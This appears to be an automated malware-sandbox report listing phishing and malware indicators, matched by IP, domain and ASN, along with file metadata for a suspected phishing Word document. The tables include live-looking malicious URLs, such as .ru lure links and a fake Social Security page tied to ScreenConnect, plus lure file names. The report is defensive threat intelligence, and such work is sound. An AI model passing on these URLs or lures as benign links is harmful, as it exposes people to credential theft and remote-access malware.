104.16.5.189	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://protect.checkpoint.com/v2/r01/___https://lsems.gravityzone.bitdefender.com/xhfsdfMW5hMR~QDcqg1KugH/rhrqqgrWni2pyg1KugH/og75AgMRA37Cu37x!i2GzU2ZBRIJz0ZOA1YpCSoGOfZu2gE3yRpN701JyRpOm4ZZyRp4q0YpC41S1h5KD47KphMiO0J/ARo394ZuDi6WW41uA0ZCGZsV/hKq4hn5DVqi1SpSG0Iiq0YiNiZC33pyAQYOLfD5DVoOH4EWH45yy38iYhrWx0YiVg5yOT0VyRpOmZ1K2gpqsW5R/g5c81YGRQYOLV8umhLS2X6OG02WJ48S4XrSZhspDQYOHj0O/ZZO4YYpEY0i64ZCT0KSvgIWoXKR8hZi9SJ6HZ1WSYoWD07KS1LZBgs09XESu4KOBh0WJ1r02gq3CTL/54pS~WrB7gMqXfMGfR6WVW7iZWpyq45mYQYOHgoWvY6KEf1qKh5OXS2us02tyRp4vTYGnVYGm0Y4HX7SK0ZRyRpOuiEm/SKGC0si/irc90Z63XL9yRp36Z5KZYLlyRpOSWqSIQYOHXLW8X64mhKKzhEGBf0tBX24yV1utSEWG0ISpR7WMR0JDZ80OXrmQYsZyRp4G1suTX1tCYruxfYGJXr6O40SD056PXZOrREqxjZyAjpW7X1yrgYGuiJOUXJcUi50ORqOKTJ4LgJmWWrmJYJKJ0sSZVZuy08uNXK4G1LW5WEGWRYOST1SrY7KI400ERquY06iU32JCgLcxTZSX3EmVV0uCR8iWW2O9QYOHi8mrYLcRg5mPg5i9S0p5iqOo12G6i0ZyRp44TMh7RIqnV2iJX7/G4pK6j1BBWLC5R5qSg00pZJO2YqmTXZC2Zr/0310008uSX005S6Kt100zTKKDS2W2f0RBX7K/jolDfqqQWqSN31mHZr/4Ro4NXqm54p/VgLi01MKBTY3yRp35gLiTY76rW8OMZ5Z8j1uJWp6wR7uNi6GnjrOE4LuRRoRESZ4XjX5DVsqPW7/sfJi5V7c23pu3S1BCYZ/WYr0EV7J6h0mE1J4vV0WsQYSJQYSJWo0kXKb5hLqtXMqsYqSHRMN/Zr42RLV5SJcPfKS6WrmuZrCXiK4Rh2m~08WYXMSmg1q6Z1l5Z00~Y1WChJ0t0Ii6hES8XImMiM0QYryZ4EWO1KqsSZ0K00WfX5WS11C636i63Ep80qSYjo4mWE4111p6Y5tyRp4Y45c43py9fEqOV5351KGy1Km/R0S40H5DWqZC0JyGW1iAYIqCgMG7gZS~003CX1yMV0GDfsZyRp38f54wZJuS00O7R5cE1ol6jJ6XhMpD1p0vj0uXi0uZf6JyRp4GRZ6IgpC/0puyW0itV0JyR5VyR5V=dJ9a86J/5GGJ6/HFH867JHa95G57Ja897H65~G65b9/b7c9/a8J6JI56758~GFFJI?h=6&fru;n=6&fru;ithx=6___.YzJ1OnNlcXVhbGNvcnA6YzpvOjVjN2U0MGNlMGRhNDNkZDEwYjk3ODU0ZTRhMGNmYTFjOjc6MDQyMTpiZDMwNmQ3NDgyNWUwNmM1NzVmMTk0YTFiN2ZjZDQ3NWZjMzIzMTMzNjg2ZmY0ZTMyY2VmMDdmYWRhZDI0MTJjOmg6VDpU	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	00583_QB_Payment_Statemnt53T.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://email.friendbuy-mail.com/ls/click?upn=u001.cLv6DfAR7vFo5oY-2FqNn1ouEQnV2mDIj7j69roW5D9YFmBFwPhHpDSZmf-2B3Pr25NKH1kkrAtv-2FXYlYHDcjRTHmkWY1isyzqTHOYSV2VdQ1tT1G8-2FNMDl8wCw4SYq3K-2F-2FiCbQ7dDyP5dZoLD-2FOxtt8eFMBYOTS0pk89J8UmvCWjzbPwK2xEcw4XEiLFMCga6U0GFvQoOCb0P85sJVWK2Uml3XcdplD23kW-2FTxE-2BtGlDca1HjLRLdUKSNEAochyK-2BchY8B8vmew2v65f73My9ah-2BrdDnS6EIzE4TkvMhxdRHCCReZDVmaDqbPzw7053nhs23dod2YDSiaNB84g8YaMUKurnp9p1y-2B1nQpZebeALMEbnVDu6tTmFR7-2FHyGAHsZk61FyHh9uMQKB5L-2BtyOwTzWn7KvQSyyj3dH1rO4cxBBiWvhshRwgiYR7P05IvjezWCT32bX-2BjQB9JYGnHCuTnaAvsCLBHqTRV-2Bn2Hi3bm3nP1-2Baf7Epl-2FSvdYLY6KlQgLtPuXok3CXKypQBjPnRjTQJI-2BLeqRURlVbUeZHSlyws8Vwyao9B57spuIqsg93t3fmhWl9DmdgmDC4XLsl-2B3GEjzzUpMaNfhpwVuK0PSOtmvx-2F38AbYYESVomxnmKLL-2BOKderogjR3e-2Bpxu1MnWhQI-2Bw-3D-3DW0qv_4pihHygNSB0r9RfW0d44OGid9KPtmw14Y7-2FMHyDwcVW3HSjtuwGFBnBjiQG3-2Fb3urCctiPuIQjHAcBM1R6iFYpm7MuQ2WuMW6LagnpHoXYyjCGCl74vz-2FIqMsuMFvpwGAHIATwDXjaOGIaa8JZk1leLIY5Bb4cDMR5o0OowCLV1fOiEjRPd9ecLAxnTxFow1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://lsems.gravityzone.bitdefender.com/scan/aHR0cHM6Ly9lbWFpbC5mcmllbmRidXktbWFpbC5jb20vbHMvY2xpY2s!dXBuPXUwMDEuY0x2NkRmQVI3dkZvNW9ZLTJGcU5uMW91RVFuVjJtRElqN2o2OXJvVzVEOVlGbUJGd1BoSHBEU1ptZi0yQjNQcjI1TktIMWtrckF0di0yRlhZbFlIRGNqUlRIbWtXWTFpc3l6cVRIT1lTVjJWZFExdFQxRzgtMkZOTURsOHdDdzRTWXEzSy0yRi0yRmlDYlE3ZER5UDVkWm9MRC0yRk94dHQ4ZUZNQllPVFMwcGs4OUo4VW12Q1dqemJQd0syeEVjdzRYRWlMRk1DZ2E2VTBHRnZRb09DYjBQODVzSlZXSzJVbWwzWGNkcGxEMjNrVy0yRlR4RS0yQnRHbERjYTFIakxSTGRVS1NORUFvY2h5Sy0yQmNoWThCOHZtZXcydjY1ZjczTXk5YWgtMkJyZERuUzZFSXpFNFRrdk1oeGRSSENDUmVaRFZtYURxYlB6dzcwNTNuaHMyM2RvZDJZRFNpYU5CODRnOFlhTVVLdXJucDlwMXktMkIxblFwWmViZUFMTUViblZEdTZ0VG1GUjctMkZIeUdBSHNaazYxRnlIaDl1TVFLQjVMLTJCdHlPd1R6V243S3ZRU3l5ajNkSDFyTzRjeEJCaVd2aHNoUndnaVlSN1AwNUl2amV6V0NUMzJiWC0yQmpRQjlKWUduSEN1VG5hQXZzQ0xCSHFUUlYtMkJuMkhpM2JtM25QMS0yQmFmN0VwbC0yRlN2ZFlMWTZLbFFnTHRQdVhvazNDWEt5cFFCalBuUmpUUUpJLTJCTGVxUlVSbFZiVWVaSFNseXdzOFZ3eWFvOUI1N3NwdUlxc2c5M3QzZm1oV2w5RG1kZ21EQzRYTHNsLTJCM0dFanp6VXBNYU5maHB3VnVLMFBTT3RtdngtMkYzOEFiWVlFU1ZvbXhubUtMTC0yQk9LZGVyb2dqUjNlLTJCcHh1MU1uV2hRSS0yQnctM0QtM0RXMHF2XzRwaWhIeWdOU0IwcjlSZlcwZDQ0T0dpZDlLUHRtdzE0WTctMkZNSHlEd2NWVzNIU2p0dXdHRkJuQmppUUczLTJGYjN1ckNjdGlQdUlRakhBY0JNMVI2aUZZcG03TXVRMld1TVc2TGFnbnBIb1hZeWpDR0NsNzR2ei0yRklxTXN1TUZ2cHdHQUhJQVR3RFhqYU9HSWFhOEpaazFsZUxJWTVCYjRjRE1SNW8wT293Q0xWMWZPaUVqUlBkOWVjTEF4blR4Rm93MQ==/E4C0FDF07C14D7A4A615FBF328869660B9EADA1B585D41F5290A2FDB03201912?c=1&i=1&docs=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.24.14
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	phishing.eml	Get hash	malicious	Unknown	Browse	104.17.24.14
	test.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	Pricing Analysis - Ecomm and Amazon vs List.xlsx	Get hash	malicious	Unknown	Browse	104.17.24.14
	Pricing Analysis - Ecomm and Amazon vs List.xlsx	Get hash	malicious	Unknown	Browse	104.17.25.14
developers.cloudflare.com	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	FW_ FW_ DirectDeposit# 952759 _ Payment_ HSAAZDIXHI [ID_0024087].eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	Revised - Hartzellprop.com 2025 Handbook29828.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Revised - Cwalker 2025 Handbook25807.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://nz.freshmnind.ru/E9nFcFhuAwW2u/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	4354_QB_Paymt_Statemnt.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
code.jquery.com	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	phishing.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	test.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://protect.checkpoint.com/v2/r02/___https://lsems.gravityzone.bitdefender.com/xhfsdfMW5hMR~QDb5RYhyf7Kpg76mQsWD31yof1Vz37cyQEc6U1m5iMGETnZDWnZDWr0y31qxQrqpjLmAg1Zz37bqRp4oOYOL4Zu8W2iRR0S8V5KSVZcIgrifWpC8hYmJZ2mrY63EVp6sZstChpC0iK4oQ19/RsR6XpqxVrWSTKqN3oOwVpcJR2qHWsSYX801WsKLfop/i50W1Zus0JKR4EOqf8WKSZKNZ8iMZpKRi7l5g0KJ40Z6hqOmg2SNW8u54Mm9S5/k1KKNR7/SQ0m0hs0/48Kuh8N/fsRETImQjr/Uh1J6XLy0gMuD4KmX004r40iyTJy84ISVjKcqjpcq4qcESEGNi5KG26b91om~VpJr4Y5y0Kt8TLWLXsOVhpynQ2GERoGtX809TJ3yWpmVQ003iD4o41Zc4L6PhLSyZpKn08mv3rp6fqqWUY5=dc~Gb~b7F~2c/cbH8/FaH9H/KK/GbJaJ/IJ569bFc~F/JIbHGHa7H8/7aa/G/Kb6I?h=6&fru;n=6&fru;ithx=6___.YzJlOmdhbmdzdGVyOmM6bzpiOGQ1YzIxZDBhODFkODAyNjQ3ZTBjNzc3MTdiNmY3ZDo3OmQwYzA6MTVhOWVkNDViMjQ5YjliMTE4NzM1ZDUwM2UyMThlNWU4ZGRjODY4ZjdmNDczYmNkYThiM2JmNWU0NWI4NDI2NTpoOlQ6VA	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
github.com	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	test.html	Get hash	malicious	Unknown	Browse	140.82.113.4
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.3
	SecuriteInfo.com.Trojan.DownLoader45.42287.31043.2783.exe	Get hash	malicious	Unknown	Browse	140.82.114.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
GITHUBUS	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://github.com/testadminia/Card-Memory.git	Get hash	malicious	Unknown	Browse	140.82.112.21
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	test.html	Get hash	malicious	Unknown	Browse	140.82.113.4
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	AxoCheat.exe	Get hash	malicious	Unknown	Browse	140.82.112.3
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.3
	SecuriteInfo.com.Trojan.DownLoader45.42287.31043.2783.exe	Get hash	malicious	Unknown	Browse	140.82.114.3
CLOUDFLARENETUS	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
CLOUDFLARENETUS	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	25216
Entropy (8bit):	7.947339442168474
Encrypted:	false
SSDEEP:	768:BTwdm3bbEPDrEQT87zOyJ0WsnoU+RBshw:64LQXEN7DJGSRBs
MD5:	F9A795E2270664A7A169C73B6D84A575
SHA1:	0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
SHA-256:	D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
SHA-512:	E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://c2uah.yazvbqkl.ru/ij9JmFrpe9fPkPKoPi2kS8COwyZisffNzM5kyw9QbmnjC0FHS4Oj4xVs4dCiJ0s89lkm979vtef204
Preview:	RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>\|....^..2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.3\|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1200, Number of Characters: 0, Revision Number: 0, Security: 0, Number of Words: 0
Entropy (8bit):	6.410599345672677
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	Revised - Mypharmaus 2025 Handbook03027.doc
File size:	62'976 bytes
MD5:	38d67493b99fae2aac9334c1d1d46c88
SHA1:	27765895aa6908af6bdda7b06171f6318579a619
SHA256:	e696470757e4abbff702584eee1377f046cbd0210d0e9b9c58304d03075b9c16
SHA512:	094f5350018e3aed49c01dcdc2ea5ccf0fe88b06496b541eed7f5402d216f98d78e0529edba8adebcecce4208e63da8aba569b1da29bb7ad6b02cd35dc20a65f
SSDEEP:	768:/bcSh6OmKsQngqwXgzHcxbQpSq/5Wko4DPCBMp7gGviVY3wF:/bcSjsggPuHUQb/PdDK3j6U
TLSH:	275329C323D36A16F177EDB19A2BD7B47A323C294D76965A06447D0EECB26210B70713
File Content Preview:	........................!.......................w...........v...............y..................................................................................................................................................................................

Has Summary Info:
Application Name:	None
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Code Page:	1200
Title:
Subject:
Author:
Keywords:
Last Saved By:
Revion Number:	0
Total Edit Time:	0
Last Printed:	1601-01-01 00:00:00
Create Time:	1601-01-01 00:00:00
Last Saved Time:	1601-01-01 00:00:00
Number of Words:	0
Number of Characters:	0
Security:	0

Document Code Page:	1200
Number of Paragraphs:	0
Thumbnail Scaling Desired:	False

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	104
Entropy:	2.479305463121663
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . 8 . . . . . . . . . . . . . . . . . . ( . . . . . . . 0 . . . . . . . . . . . . . . . . . . . . . . . . . .
